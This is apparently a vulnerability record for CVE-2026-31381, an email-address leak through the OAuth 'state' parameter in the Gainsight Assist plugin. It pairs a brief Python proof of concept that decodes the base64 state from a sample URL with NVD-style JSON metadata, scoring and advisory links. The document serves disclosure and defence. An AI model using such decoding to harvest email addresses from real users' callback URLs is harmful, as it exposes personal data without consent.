CVE-2026-31381

import base64 import urllib.parse # Simulated vulnerable OAuth callback URL # The 'state' parameter contains the base64 encoded email (PII) target_url = "https://example.com/oauth/callback?state=eyJlbWFpbCI6InVzZXJAZXhhbXBsZS5jb20ifQ%3D%3D" # Parse the URL to extract the state parameter parsed_url = urllib.parse.urlparse(target_url) params = urllib.parse.parse_qs(parsed_url.query) encoded_state = params.get('state', [None])[0] if encoded_state: try: # Decode URL encoding (e.g., %3D -> =) url_decoded_state = urllib.parse.unquote(encoded_state) # Decode Base64 to extract the PII decoded_bytes = base64.b64decode(url_decoded_state) decoded_string = decoded_bytes.decode('utf-8') print(f"[+] Leaked PII found: {decoded_string}") except Exception as e: print(f"[-] Error decoding state: {e}") else: print("[-] No state parameter found in URL.")

{"cve": {"id": "CVE-2026-31381", "sourceIdentifier": "[email protected]", "published": "2026-03-20T14:16:14.567", "lastModified": "2026-04-16T15:16:53.553", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An attacker can extract user email addresses (PII) exposed in base64 encoding via the state parameter in the OAuth callback URL."}, {"lang": "es", "value": "Un atacante puede extraer direcciones de correo electrónico de usuario (IIP) expuestas en codificación base64 a través del parámetro state en la URL de devolución de llamada de OAuth."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-598"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gainsight:assist:-:*:*:*:*:*:*:*", "matchCriteriaId": "CEF026DD-1AD7-44D0-8960-A5DDAE4F1BDE"}]}]}], "references": [{"url": "http://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://communities.gainsight.com/community-news-2/recent-gainsight-assist-plugin-remediations-cve-2026-31381-and-cve-2026-31382-30587", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}